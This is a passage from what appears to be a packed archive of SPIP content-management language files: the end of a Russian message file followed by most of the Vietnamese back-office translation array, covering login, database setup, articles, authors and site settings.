'utf8_convert_erreur_orig' => 'Ошибка: набор символов @charset@ не поддерживается.',
'utf8_convert_termine' => 'Готово!',
'utf8_convert_timeout' => '<b>Важно:</b> Если сервер указывает <i>timeout</i>, пожалуйста, продолжите перезагрузку страницы до тех пор, пока Вы не получите сообщение «Готово!».',
'utf8_convert_verifier' => 'Теперь Вам необходимо очистить кэш сайта и проверить все ли хорошо на основных страницах сайта. Если Вы не можете справиться с одной из главных проблем, резервная копия Ваших исходных данных (в формате SQL) была сделана в @rep@ каталоге.',
'utf8_convertir_votre_site' => 'Конвертировать сайт в utf-8',
// V
'version' => 'Версия:'
);
?>
ecrire_vi.php 0000666 00000154354 15252547432 0007255 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Phần giúp đỡ này chưa được dịch sang ngôn ngữ này.',
'avis_acces_interdit' => 'Quý vị không có quyền vào đây.',
'avis_article_modifie' => 'Coi chừng, @nom_auteur_modif@ vừa sửa bài này cách đây @date_diff@ phút',
'avis_aucun_resultat' => 'Không có kết quả.',
'avis_chemin_invalide_1' => 'Hướng đi mà bạn đã chọn',
'avis_chemin_invalide_2' => 'dường như không đúng. Xin vui lòng trở lại trang trước và xem lại các dữ kiện cung cấp.',
'avis_connexion_echec_1' => 'Không nối vào SQL được.', # MODIF
'avis_connexion_echec_2' => 'Trở lại trang trước và kiểm lại các dữ kiện vừa cho vào.',
'avis_connexion_echec_3' => '<b>T.B.</b> Trong một số server, bạn phải <b>yêu cầu</b> quyền được sử dụng SQL database trước khi dùng. Nếu bạn không nối vào được, hãy xem lại coi bạn có yêu cầu chưa.', # MODIF
'avis_connexion_ldap_echec_1' => 'Không nối vào LDAP server được.',
'avis_connexion_ldap_echec_2' => 'Trở lại trang trước và xem lại các dữ kiện đã cung cấp.',
'avis_connexion_ldap_echec_3' => 'Một cách khác, đừng dùng LDAP support để đem tên người dùng vào.',
'avis_deplacement_rubrique' => 'LƯU Ý! Đề mục này chứa @contient_breves@ các tin ngắn @scb@: nếu bạn dời nó đi, xin đánh dấu vào ô này để xác nhận.',
'avis_destinataire_obligatoire' => 'Phải chọn một người nhận trước khi gửi thư tín này đi.',
'avis_erreur_connexion_mysql' => 'Có Lỗi-không nối với SQL',
'avis_erreur_version_archive' => '<b>Báo động! Hồ sơ @archive@ thuộc dạng SPIP khác với dạng mà bạn có.</b>
Bạn sẽ gặp rất nhiều rắc rối: có thể database bị tiêu hủy, website bị trắc trở, v.v...
Xin đừng nộp bài này vào.<p> Để biết thêm chi tiết, xem bài <a href="@spipnet@">
Hồ sơ SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Vùng cấm địa</b><p>SPIP đã được thiết trí rồi.',
'avis_lecture_noms_bases_1' => 'Nhu liệu thiết trí không đọc được tên của database thiết trí.',
'avis_lecture_noms_bases_2' => 'Không có database nào hết, hoặc đặc điểm cho phép liệt kê tên database bị tắt đi vì lý do an ninh (thường là như vậy cho nhiều máy chủ)',
'avis_lecture_noms_bases_3' => 'Trong trường hợp lựa chọn thứ nhì xảy ra, sau khi bạn login vào, có thể một database có tên lúc đó có thể dùng được: ',
'avis_non_acces_message' => 'Bạn không có quyền xem thư tín này.',
'avis_non_acces_page' => 'Bạn không có quyền vào trang này.',
'avis_operation_echec' => 'Thao tác thất bại.',
'avis_probleme_archive' => 'Có lỗi khi đọc hồ sơ @archive@',
'avis_suppression_base' => 'BÁO ĐỘNG, xóa dữ kiện rồi sẽ không lấy lại được',
'avis_version_mysql' => 'Ấn bản SQL này (@version_mysql@) không cho phép sửa chữa tự động các bản trong database.',
// B
'bouton_acces_ldap' => 'Thêm hồ sơ vào LDAP >>',
'bouton_ajouter' => 'Thêm',
'bouton_ajouter_participant' => 'THÊM MỘT THAM DỰ VIÊN:',
'bouton_annonce' => 'THÔNG BÁO',
'bouton_checkbox_envoi_message' => 'Có thể viết vài chữ ',
'bouton_checkbox_indiquer_site' => 'Qúy vị phải ghi tên một trang Web',
'bouton_checkbox_signature_unique_email' => 'Chỉ một chữ ký cho một địa chỉ email ',
'bouton_checkbox_signature_unique_site' => 'Chỉ một chữ ký cho một địa chỉ Web',
'bouton_demande_publication' => 'Đề nghị bài này cho ban biên tập',
'bouton_effacer_index' => 'Xoá bản index',
'bouton_effacer_tout' => 'Xoá TẤT CẢ',
'bouton_envoi_message_02' => 'GỬI THƯ TÍN',
'bouton_envoyer_message' => 'Tin thư đầy đủ: Gửi đi ',
'bouton_modifier' => 'Thay đổi',
'bouton_pense_bete' => 'GHI NHỚ CÁ NHÂN',
'bouton_radio_activer_messagerie' => 'Sử dụng thư tín nội bộ ',
'bouton_radio_activer_messagerie_interne' => 'Sử dụng thư tín nội bộ',
'bouton_radio_activer_petition' => 'Dùng thỉnh nguyện thư ',
'bouton_radio_afficher' => 'Hiển thị',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Hiện tên ra',
'bouton_radio_desactiver_messagerie' => 'Không sử dụng thư tín nội bộ',
'bouton_radio_envoi_annonces_adresse' => 'Gửi thông báo đến địa chỉ:',
'bouton_radio_envoi_liste_nouveautes' => 'Gửi các tin tức mới nhất',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Không hiện tên ra ',
'bouton_radio_non_envoi_annonces_editoriales' => 'Đừng gửi bất cứ thông báo xã luận nào',
'bouton_radio_pas_petition' => 'Không dùng',
'bouton_radio_petition_activee' => 'Thỉnh nguyện thư được mở lên',
'bouton_radio_supprimer_petition' => 'Xóa thỉnh nguyện thư',
'bouton_redirection' => 'CHUYỂN TỚI',
'bouton_relancer_installation' => 'Thiết trí lại',
'bouton_suivant' => 'Kế tiếp',
'bouton_tenter_recuperation' => 'Tìm cách sửa chữa',
'bouton_test_proxy' => 'Thử nghiệm proxy',
'bouton_vider_cache' => 'Làm sạch cache',
'bouton_voir_message' => 'Xem lại trước khi gửi',
// C
'cache_mode_compresse' => 'Hồ sơ cache được lưu trữ trong dạng nén/ép.',
'cache_mode_non_compresse' => 'Hồ sơ cache được giữ nguyên dạng, không nén.',
'cache_modifiable_webmestre' => 'Webmaster có thể điều chỉnh các thông số này.',
'calendrier_synchro' => 'Nếu bạn có thiết trí nhu liệu nhật ký tương ứng với <b>iCal</b>, bạn có thể đồng bộ hóa nó với trang web.',
// D
'date_mot_heures' => 'Giờ',
// E
'email' => 'Ðiện thư',
'email_2' => 'Ðiện thư:',
'entree_adresse_annuaire' => 'Địa chỉ ngăn',
'entree_adresse_email' => 'Điạ chỉ email của bạn',
'entree_base_donnee_1' => 'Địa chỉ database',
'entree_base_donnee_2' => '(Thông thường, địa chỉ này giống địa chỉ website của bạn, đôi khi nó mang tên «localhost», và có khi nó để trống.)',
'entree_biographie' => 'Tiểu sử ngắn gọn (một vài chữ).',
'entree_chemin_acces' => '<b>Xin cho biết</b> tên ngăn:',
'entree_cle_pgp' => 'Khóa PGP của bạn',
'entree_contenu_rubrique' => '(Mô tả ngắn gọn nội dung của đề mục)',
'entree_identifiants_connexion' => 'Tên gọi lúc nối vào của bạn...',
'entree_informations_connexion_ldap' => 'Xin điền vào mẫu này với các dữ kiện móc nối LDAP. Bạn sẽ được người quản lý mạng hoặc hệ điều hành cho biết các dữ kiện này.',
'entree_infos_perso' => 'Bạn là ai?',
'entree_interieur_rubrique' => 'Trong đề mục:',
'entree_liens_sites' => '<b>Điểm nối hypertext</b> (tham khảo, website đến viếng...)',
'entree_login' => 'Login của bạn',
'entree_login_connexion_1' => 'Nối vào',
'entree_login_connexion_2' => '(Đôi khi giống với ký danh FTP của bạn và đôi khi để trống)',
'entree_login_ldap' => 'Nối sơ khởi vào LDAP',
'entree_mot_passe' => 'Mật mã của bạn',
'entree_mot_passe_1' => 'Mật mã để nối vào',
'entree_mot_passe_2' => '(Đôi khi giống mật mã FTP của bạn và đôi khi để trống)',
'entree_nom_fichier' => 'Xin điền tên hồ sơ @texte_compresse@:',
'entree_nom_pseudo' => 'Tên hoặc bí danh của bạn',
'entree_nom_pseudo_1' => '(Tên hay bí danh của bạn)',
'entree_nom_site' => 'Tên website của bạn',
'entree_nouveau_passe' => 'Mật mã mới',
'entree_passe_ldap' => 'Mật mã',
'entree_port_annuaire' => 'Số cổng của thư mục',
'entree_signature' => 'Chữ ký',
'entree_titre_obligatoire' => '<b>Tựa đề</b> [Bắt buộc]<br />',
'entree_url' => 'Địa chỉ website của bạn',
// I
'ical_info1' => 'Trang này cho bạn biết các cách để theo dõi các hoạt động của trang web này.',
'ical_info2' => 'Để biết thêm chi tiết xin vào xem trang web <a href="@spipnet@">SPIP’s documentation</a>.', # MODIF
'ical_info_calendrier' => 'Bạn có 2 thời biểu để sử dụng. Thời biểu thứ nhất liệt kê tất cả các bài viết được đăng. Thời biểu thứ hai liệt kê các thông báo của Ban Biên Tập và những thông tin cá nhân của bạn. Phần này được dành cho bạn qua một mật mã riêng mà bạn có thể thay đổi bằng cách thay đổi mật mã của mình.',
'ical_methode_http' => 'Đang tải xuống',
'ical_methode_webcal' => 'Đồng bộ hoá (webcal://)',
'ical_texte_js' => 'Một mệnh lệnh javascript có thể được sử dụng để hiển thị những bài vỡ mới nhất được đăng của trang web này trên bất kỳ trang web nào của bạn một cách rất dễ dàng.',
'ical_texte_prive' => 'Thời biểu này, với tính cách cá nhân, sẽ cho bạn biết các hoạt động cá nhân của Ban Biên Tập (công việc, các cuộc hẹn, các bài đã nộp và các tin tức...).',
'ical_texte_public' => 'Thời biểu này giúp bạn theo dõi các hoạt động chung của trang web (các bài viết và các tin tức đã được đăng).',
'ical_texte_rss' => 'Bạn có thể động bộ hoá các tin tức mới nhất của trang web này bằng bất kỳ hệ thống đọc dạng XML/RSS (Rich Site Summary) nào. XML/RSS cũng là dạng hồ sơ mà SPIP có thể dùng để đọc các tin tức mới nhất đăng tải bởi các trang web dùng cùng một hệ trao đổi tương ứng.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Hồ sơ «Backend»', # MODIF
'icone_activer_cookie' => 'Dùng Cookie',
'icone_afficher_auteurs' => 'Trình bày tên tác giả ',
'icone_afficher_visiteurs' => 'Trình bày số độc giả',
'icone_arret_discussion' => 'Không tham gia vào cuộc thảo luận này nữa',
'icone_calendrier' => 'Lịch',
'icone_creer_auteur' => 'Thêm tên một tác giả mới và ghi vào bài này',
'icone_creer_mot_cle' => 'Thêm một từ then chốt mới và ghi vào bài này',
'icone_creer_rubrique_2' => 'Thêm một đề mục mới ',
'icone_envoyer_message' => 'Gửi thư tín này',
'icone_modifier_article' => 'Sửa bài này',
'icone_modifier_message' => 'Sửa thư tín này',
'icone_modifier_rubrique' => 'Sửa đề mục này',
'icone_retour' => 'Trở lại',
'icone_retour_article' => 'Trở về bài trước',
'icone_supprimer_cookie' => 'xóa bỏ cookie',
'icone_supprimer_rubrique' => 'Xoá đề mục này',
'icone_supprimer_signature' => 'Xoá chữ ký này',
'icone_valider_signature' => 'Chấp thuận',
'image_administrer_rubrique' => 'Bạn có thể quản trị đề mục này',
'info_1_article' => '1 bài',
'info_1_site' => '1 trang web',
'info_activer_cookie' => 'Bạn có thể cho chạy <b>administration cookie</b> để bạn có thể qua lại giữa trang web công cộng và khu vực riêng.',
'info_admin_gere_rubriques' => 'Nhân vật này có quyền quản trị các đề mục sau đây:',
'info_admin_gere_toutes_rubriques' => 'Nhân vật này có quyền quản trị <b>tất cả các đề mục</b>.', # MODIF
'info_administrateur' => 'Quản lý',
'info_administrateur_1' => 'Quản lý',
'info_administrateur_2' => 'của trang web (<i>sử dụng cẩn thận</i>)',
'info_administrateur_site_01' => 'Nếu bạn là quản trị viên của website, xin',
'info_administrateur_site_02' => 'Bấm vào điểm nối này',
'info_administrateurs' => 'Những người quản lý',
'info_administrer_rubrique' => 'Bạn có thể quản trị đề mục này',
'info_adresse' => 'đến địa chỉ:',
'info_adresse_url' => 'Địa chỉ trang web của bạn',
'info_afficher_visites' => 'Liệt kê những lần viếng thăm cho:',
'info_aide_en_ligne' => 'Giúp đỡ SPIP online',
'info_ajout_image' => 'Khi bạn đính kèm hình (trong dạng hồ sơ) vào một bài, SPIP có thể tự động chế ra các hình mẫu để xem trước (tức thumbnails) từ tấm hình nguyên thủy. Với đặc điểm này có thể tự động thiết lập ra một tập/bộ hình ảnh, album.',
'info_ajout_participant' => 'Những tham dự viên sau đây đã được thêm vào:',
'info_ajouter_rubrique' => 'Thêm một đề mục khác để quản trị:',
'info_annonce_nouveautes' => 'Thông tin mới nhất',
'info_anterieur' => 'trước đó',
'info_article' => 'bài',
'info_article_2' => 'bài',
'info_article_a_paraitre' => 'Những bài đã đề ngày để phát hành',
'info_articles_02' => ' bài',
'info_articles_2' => 'Bài',
'info_articles_auteur' => 'Bài của tác giả này',
'info_articles_trouves' => 'Những bài tìm thấy',
'info_articles_trouves_dans_texte' => 'Những bài tìm thấy (trong văn bản)',
'info_attente_validation' => 'Bài vở của bạn đang chờ thông qua',
'info_aujourdhui' => 'hôm nay:',
'info_auteur_message' => 'NGƯỜI GỬI:',
'info_auteurs' => 'Tác giả',
'info_auteurs_par_tri' => 'Tác giả@partri@',
'info_auteurs_trouves' => 'Những tác giả tìm thấy',
'info_authentification_externe' => 'Xác nhận từ bên ngoài',
'info_avertissement' => 'Báo động',
'info_base_installee' => 'Cấu trúc database của bạn đã được thiết trí.',
'info_chapeau' => 'Dẫn nhập',
'info_chapeau_2' => 'Dẫn nhập:',
'info_chemin_acces_1' => ' Chọn lựa: <b>ngõ vào trong thư mục</b>',
'info_chemin_acces_2' => 'Từ đây trở đi, bạn phải cấu tạo lối vào thông tin thư mục. Dữ kiện này cần thiết để đọc hồ sơ người sử dụng trong danh bạ.',
'info_chemin_acces_annuaire' => 'Chọn lựa: <b>ngõ vào trong thư mục</b>',
'info_choix_base' => 'Bước thứ ba:',
'info_classement_1' => ' trong số @liste@',
'info_classement_2' => ' trong số @liste@',
'info_code_acces' => 'Đừng quên mã số để vào của bạn!',
'info_config_suivi' => 'Nếu địa chỉ này là của một mailing list, bạn cho biết địa chỉ để ghi danh. Địa chỉ ghi danh có thể là URL (thí dụ trang ghi danh qua web), hay địa chỉ email có ghi rõ tựa đề (subject). Thí dụ: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Bạn có thể ghi danh vào mailing list dưới đây, nếu bạn muốn nhận thông tin các bài được nộp vào trang web này.',
'info_confirmer_passe' => 'Xác nhận lại mật mã mới:',
'info_connexion_base' => 'Bước thứ nhì: <b>thử nối vào database</b>',
'info_connexion_ldap_ok' => 'Nối vào LDAP tốt đẹp.</b><p> Bạn có thể qua bước kế tiếp.</p>', # MODIF
'info_connexion_mysql' => 'Bước thứ nhất: <b>Nối vào SQL của bạn</b>',
'info_connexion_ok' => 'Nối vào tốt đẹp.',
'info_contact' => 'Liên lạc',
'info_contenu_articles' => 'Nội dung bài',
'info_creation_paragraphe' => '(Để bắt đầu đoạn văn mới, bạn chỉ cần chừa hàng trống)', # MODIF
'info_creation_rubrique' => 'Trước khi được phép viết một bài mới, bạn phải lập ra ít nhất một đề mục.',
'info_creation_tables' => 'Bước thứ tư: <b>Tạo lập ra các bảng trong database</b>',
'info_creer_base' => '<b>Tạo lập</b> ra một database mới:',
'info_dans_rubrique' => 'Trong đề mục:',
'info_date_publication_anterieure' => 'Ngày tháng của bài đã đăng:',
'info_date_referencement' => 'NGÀY NỐI KẾT WEBSITE NÀY:',
'info_derniere_etape' => 'Bước chót: <b>Hoàn tất!</b>',
'info_derniers_articles_publies' => 'Những bài phát hành mới nhất của bạn',
'info_desactiver_messagerie_personnelle' => 'Bạn có thể tắt/mở hộp thư tín cá nhân của bạn.',
'info_descriptif' => 'Tóm lược:',
'info_discussion_cours' => 'Đang trao đổi',
'info_ecrire_article' => 'Để có thể soạn một bài vở, bạn phải lập ra một đề mục trước đã. <Trước khi có thể viết bài, bạn phải lập ra ít nhất một đề mục.',
'info_email_envoi' => 'Địa chỉ email của người gửi (không bắt buộc)',
'info_email_envoi_txt' => 'Đánh vào địa chỉ người gửi để gửi email (theo định sẵn, thì địa chỉ người nhận sẽ được dùng làm địa chỉ gửi) :',
'info_email_webmestre' => 'Địa chỉ email của webmaster (không bắt buộc) ', # MODIF
'info_entrer_code_alphabet' => 'Cho biết bảng mã sử dụng: ',
'info_envoi_email_automatique' => 'Gửi email tự động',
'info_envoyer_maintenant' => 'Gửi bây giờ',
'info_etape_suivante' => 'Qua bước kế',
'info_etape_suivante_1' => 'Bạn có thể qua bước kế tiếp.',
'info_etape_suivante_2' => ' Bạn có thể qua bước kế tiếp.',
'info_exportation_base' => 'Đem database ra ngoài vào @archive@',
'info_facilite_suivi_activite' => 'Để làm nhẹ công việc của Ban Biên Tập, SPIP gửi bằng email các thông báo xin phép đăng và chấp thuận bài vở (đến mailing list của chủ bút chẳng hạn) ',
'info_fichiers_authent' => 'Hồ sơ xác nhận ".htpasswd"',
'info_forums_abo_invites' => 'Trang web có các diễn đàn cần ghi danh; khách có thể vào ghi danh ở trang công cộng.',
'info_gauche_admin_effacer' => '<b>Chỉ có quản trị viên được phép vào trang này.</b><p> Nơi đây cho phép bạn thực hiện một số việc quản trị kỹ thuật. Một số việc đòi hỏi phải có chứng nhận đặc biệt, và cần phải dùng FTP để vào trang web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Chỉ có quản trị viên được phép vào trang này.</b><p> Nơi đây cho phép bạn thực hiện một số công việc bảo trì. Một số việc cần phải có chứng nhận đặc biệt, cần phải dùng FTP để vào trang web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Chỉ có quản trị viên được phép vào trang này.</b><p> Nơi đây cho phép bạn thực hiện một số công việc bảo trì. Một số việc cần phải có chứng nhận đặc biệt, và cần phải dùng FTP để vào trang web.</p>', # MODIF
'info_gauche_auteurs' => 'Danh sách tất cả tác giả được liệt kê nơi đây. Trách nhiệm của mỗi người được biểu hiện qua màu của icon (chủ bút=màu xanh lá cây; quản lý=màu vàng).',
'info_gauche_auteurs_exterieurs' => 'Các tác giả bên ngoài (không được phép vào trang web) được biểu hiện bằng icon màu xanh dương; Tác giả nào bị xóa tên được biểu hiện bằng icon thùng rác.', # MODIF
'info_gauche_messagerie' => 'Phương tiện thư tín cho phép bạn trao đổi thư tín giữa các chủ bút với nhau, lưu trữ bản ghi nhớ (để sử dụng riêng) hoặc hiển thị thông báo trên trang nhà của vùng riêng (nếu bạn là người quản trị).',
'info_gauche_numero_auteur' => 'SỐ THỨ TỰ TÁC GIẢ:',
'info_gauche_statistiques_referers' => 'Trang này liệt kê danh sách <i>referrers</i>, tức là các trang có chứa điểm nối đến trang của bạn, chỉ cho hôm nay mà thôi: thật ra danh sách này được soạn mỗi 24 giờ.',
'info_gauche_visiteurs_enregistres' => 'Danh sách những người khách ghi danh trong vùng công cộng của trang web (theo diễn đàn)',
'info_generation_miniatures_images' => 'Hình mẫu xem trước (thumbnail)',
'info_gerer_trad' => 'Quản trị phần nối dịch thuật?',
'info_hebergeur_desactiver_envoi_email' => 'Một số máy chủ không cho phép gửi email tự động từ server. Trong trường hợp này, những đặc điểm sau đây của SPIP không thể thiết lập được.',
'info_hier' => 'hôm qua: ',
'info_historique_activer' => 'Cho phép tiếp tục sửa đổi',
'info_historique_affiche' => 'Hiển thị ấn bản này',
'info_historique_comparaison' => 'so sánh',
'info_historique_desactiver' => 'Đóng việc nối tiếp sửa đổi',
'info_historique_texte' => 'Nối tiếp sửa đổi cho phép bạn theo dõi những sửa đổi của một bài và cho thấy sự khác biệt giữa các ấn bản được sửa.',
'info_identification_publique' => 'Danh tánh công cộng của bạn...',
'info_image_process' => 'Xin chọn cách tạo ra hình trang trí bằng bấm trên hình đẹp nhất.',
'info_image_process2' => '<b>N.B.</b> <i>Nếu bạn không thấy hình nào cả có nghĩa là máy chủ chưa được thiết trí để sử dụng hình. Nếu bạn muốn dùng hình, liên lạc với nhóm phụ trách kỹ thuật của công ty cung cấp dịch vụ để yêu cầu có extension «GD» hay «Imagick».</i>', # MODIF
'info_images_auto' => 'Hình được tự tính',
'info_informations_personnelles' => 'Bước thứ năm: <b>Dữ kiện cá nhân</b>',
'info_inscription_automatique' => 'Tự động ghi danh các chủ bút mới',
'info_jeu_caractere' => 'Bảng mã của website',
'info_jours' => 'ngày',
'info_laisser_champs_vides' => 'để trống những phần này)',
'info_langues' => 'Ngôn ngữ của website',
'info_ldap_ok' => 'Đặc điểm xác nhận LDAP được thiết trí.',
'info_lien_hypertexte' => 'Điểm kết nối:',
'info_liste_redacteurs_connectes' => 'Danh sách các chủ bút đang nối vào',
'info_login_existant' => 'Login này đã có.',
'info_login_trop_court' => 'Login ngắn quá.',
'info_maximum' => 'tối đa:',
'info_meme_rubrique' => 'Cũng đề mục',
'info_message' => 'Thư tín từ ',
'info_message_efface' => 'THƯ TÍN ĐƯỢC XÓA',
'info_message_en_redaction' => 'Thư tín đang soạn',
'info_message_technique' => 'Thư tín kỹ thuật:',
'info_messagerie_interne' => 'Tin tức nội bộ',
'info_mise_a_niveau_base' => 'Nâng cấp database SQL',
'info_mise_a_niveau_base_2' => '{{Cảnh báo!}}Bạn vừa thiết trí một ấn bản SPIP cũ hơn ấn bản thiết trí trước đây: database của bạn có thể gặp rủi ro mất mát và webiste không hoạt động đúng nữa.{{Tái thiết trí các hồ sơ SPIP.}} ',
'info_modifier_rubrique' => 'Sửa đổi đề mục:',
'info_modifier_titre' => 'Sửa đổi: @titre@',
'info_mon_site_spip' => 'Website SPIP của tôi',
'info_mot_sans_groupe' => '(Từ then chốt không thuộc một nhóm...)',
'info_moteur_recherche' => 'Cơ phận tìm kiếm',
'info_moyenne' => 'trung bình: ',
'info_multi_articles' => 'Cho phép dụng nhiều thứ tiếng trong những bài ?',
'info_multi_cet_article' => 'Bài tiếng:',
'info_multi_langues_choisies' => 'Xin chọn ngôn ngữ có sẵn cho các chủ bút.
Ngôn ngữ đã dùng cho trang web thì không tắt được.',
'info_multi_rubriques' => 'Cho phép dụng nhiều thứ tiếng trong những đề mục ?',
'info_multi_secteurs' => '... chỉ dành cho các đề mục ở gốc trang web ?',
'info_nom' => 'Tên',
'info_nom_destinataire' => 'Tên người nhận',
'info_nom_site' => 'Tên website của bạn',
'info_nombre_articles' => '@nb_articles@ bài,',
'info_nombre_partcipants' => 'THAM DỰ VIÊN VÀO CUỘC THẢO LUẬN:',
'info_nombre_rubriques' => '@nb_rubriques@ đề mục, ',
'info_nombre_sites' => '@nb_sites@ website, ',
'info_non_deplacer' => 'Đừng dời...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP có thể thường xuyên gửi tin tức thông báo của website (bài và tin vừa đăng tải).',
'info_non_envoi_liste_nouveautes' => 'Đừng gửi danh sách tin mới nhất',
'info_non_modifiable' => 'không thể sửa đổi được',
'info_non_suppression_mot_cle' => 'Tôi không muốn xóa từ then chốt này.',
'info_notes' => 'Chú thích',
'info_nouveaux_message' => 'Thư tín mới',
'info_nouvel_article' => 'Bài mới',
'info_nouvelle_traduction' => 'Bản dịch mới:',
'info_numero_article' => 'SỐ THỨ TỰ BÀI:',
'info_obligatoire_02' => '[Bắt buộc] ', # MODIF
'info_option_accepter_visiteurs' => 'Cho phép khách ghi danh từ trang công cộng',
'info_option_faire_suivre' => 'Chuyển thư tín trong diễn đàn đến tác giả bài',
'info_option_ne_pas_accepter_visiteurs' => 'Từ chối khách ghi danh',
'info_options_avancees' => 'ĐẶC TÍNH PHỤ TRỘI',
'info_ortho_activer' => 'Mở lên cơ phận xét lỗi chính tả',
'info_ortho_desactiver' => 'Tắt cơ phận xét lỗi chính tả',
'info_ou' => 'hoặc... ',
'info_page_interdite' => 'Trang cấm vào',
'info_par_nombre_article' => '(theo số lượng bài) ',
'info_passe_trop_court' => 'Mật mã ngắn quá.',
'info_passes_identiques' => 'Hai mật mã không giống hệt nhau.',
'info_pense_bete_ancien' => 'Bản ghi nhớ cũ của bạn', # MODIF
'info_plus_cinq_car' => 'hơn 5 mẫu tự',
'info_plus_cinq_car_2' => '(Hơn 5 mẫu tự) ',
'info_plus_trois_car' => '(Hơn 3 mẫu tự) ',
'info_popularite' => 'Mức phổ thông: @popularite@; lần viếng: @visites@',
'info_popularite_4' => 'Mức phổ thông: @popularite@; lần viếng: @visites@',
'info_post_scriptum' => 'Tái bút',
'info_post_scriptum_2' => 'Tái bút:',
'info_pour' => 'cho',
'info_preview_admin' => 'Chỉ có quản trị viên được phép dùng dạng xem trước',
'info_preview_comite' => 'Tất cả tác giả có thể dùng dạng xem trước.',
'info_preview_desactive' => 'Dạng xem trước chưa mở lên',
'info_preview_texte' => 'Bạn có thể xem trước trang web mà các bài vở, tin ngắn (với tình trạng "được đăng") trong đó như đã được cho đăng lên chính thức. Dạng xem trước này chỉ nên giới hạn cho quản trị viên, cho tất cả các tác giả, hay hoàn toàn tắt nó đi ?',
'info_principaux_correspondants' => 'Những người liên lạc chính',
'info_procedez_par_etape' => 'Xin tiếp diễn từng bước một',
'info_procedure_maj_version' => 'Quy trình nâng cấp cần được chạy để database thích ứng với ấn bản SPIP mới.',
'info_ps' => 'Tái bút.', # MODIF
'info_publier' => 'đăng tải',
'info_publies' => 'Bài của bạn được đăng online',
'info_question_accepter_visiteurs' => 'Nếu trang web cho phép khách ghi danh mà không cần phải vào vùng riêng, thì xin hãy mở lên những chọn lựa sau:',
'info_question_inscription_nouveaux_redacteurs' => 'Bạn có cho phép ghi danh các chủ bút mới từ website công cộng không? Nếu đồng ý, khách có thể ghi danh qua một mẫu tự động, và sẽ được phép vào vùng riêng của họ để soạn bài. <blockquote><i>Trong quá trình ghi danh, người dùng sẽ nhận được email cho biết login/mật mã vào chỗ riêng của họ. Một số máy chủ tắt đặc điểm này: trong trường hợp đó, ghi danh tự động không dùng được.</i>', # MODIF
'info_question_utilisation_moteur_recherche' => 'Bạn có muốn dùng cơ phận tìm kiếm có sẵn của SPIP? (<i>Nếu tắt nó đi sẽ làm hệ thống chạy lẹ hơn</i>) ',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Gốc của website',
'info_recharger_page' => 'Xin nạp lại trang này trong giây lát.',
'info_recherche_auteur_a_affiner' => 'Quá nhiều kết quả cho "@cherche_auteur@"; Xin lọc lựa lại việc tìm kiếm.',
'info_recherche_auteur_ok' => 'Tìm thấy một số chủ bút cho "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Không có kết quả cho "@cherche_auteur@".',
'info_recommencer' => 'Xin thử lại.',
'info_redacteur_1' => 'Tác giả',
'info_redacteur_2' => ' có lối vào vùng tư (<i>đề nghị</i>)',
'info_redacteurs' => 'Chủ bút',
'info_redaction_en_cours' => 'ĐANG SOẠN',
'info_redirection' => 'Chuyển hướng',
'info_refuses' => 'Bài của bạn bị từ chối',
'info_reglage_ldap' => 'Chọn lựa: <b>Điều chỉnh việc nhập LDAP</b>',
'info_renvoi_article' => '<b>Chuyển hướng.</b> Bài này nối đến trang: ',
'info_reserve_admin' => 'Chỉ có quản trị viên mới có thể sửa đổi địa chỉ này.',
'info_restreindre_rubrique' => 'Giới hạn việc quản trị trong đề mục:',
'info_resultat_recherche' => 'Kết quả tìm kiếm:',
'info_rubriques' => 'Đề mục',
'info_rubriques_02' => 'đề mục',
'info_rubriques_trouvees' => 'Tìm thấy đề mục',
'info_rubriques_trouvees_dans_texte' => 'Tìm thấy đề mục (trong văn tư)',
'info_sans_titre' => 'Không tựa đề',
'info_selection_chemin_acces' => '<b>Chọn</b> dưới đây đường vào trong thư mục:',
'info_signatures' => 'chữ ký',
'info_site' => 'Website',
'info_site_2' => 'website: ',
'info_site_min' => 'website',
'info_site_reference_2' => 'Website nối kết',
'info_site_web' => 'WEB SITE:', # MODIF
'info_sites' => 'website',
'info_sites_lies_mot' => 'Những website nối kết liên đới với từ then chốt này',
'info_sites_proxy' => 'Dùng một proxy',
'info_sites_trouves' => 'Tìm thấy website',
'info_sites_trouves_dans_texte' => 'Tìm thấy website (trong văn tự)',
'info_sous_titre' => 'Tựa đề phụ:',
'info_statut_administrateur' => 'Quản trị viên',
'info_statut_auteur' => 'Quyền hạn của tác giả:', # MODIF
'info_statut_efface' => 'Xóa',
'info_statut_redacteur' => 'Chủ bút',
'info_statut_utilisateurs_1' => 'Trạng thái định sẵn của người dùng được đưa vào',
'info_statut_utilisateurs_2' => 'Chọn trạng thái cho những người liệt kê trong thư mục LDAP khi họ nối vào lần đầu. Về sau, bạn có thể sửa đổi trị giá này cho từng tác giả theo từng trường hợp một.',
'info_suivi_activite' => 'Thông tin cho Ban Biên Tập',
'info_surtitre' => 'Đầu đề:',
'info_taille_maximale_vignette' => 'Kích thước tối đa của hình mẫu:',
'info_terminer_installation' => 'Bạn có thể kết thúc quy trình thiết trí căn bản.',
'info_texte' => 'Thân bài',
'info_texte_explicatif' => 'Giảng giải',
'info_texte_long' => 'Văn tự quá dài: nó sẽ được cho xem qua nhiều phần và được gôm ại sau khi được chấp thuận.)',
'info_texte_message' => 'Thân bài:', # MODIF
'info_texte_message_02' => 'Thân bài',
'info_titre' => 'Tựa đề:',
'info_total' => 'tổng cộng: ',
'info_tous_articles_en_redaction' => 'Tất cả bài vở đang được soạn',
'info_tous_articles_presents' => 'Tất cả bài vở đã phát hành trong đề mục này',
'info_tous_les' => 'mỗi:',
'info_tous_redacteurs' => 'Thông báo đến tất cả chủ bút',
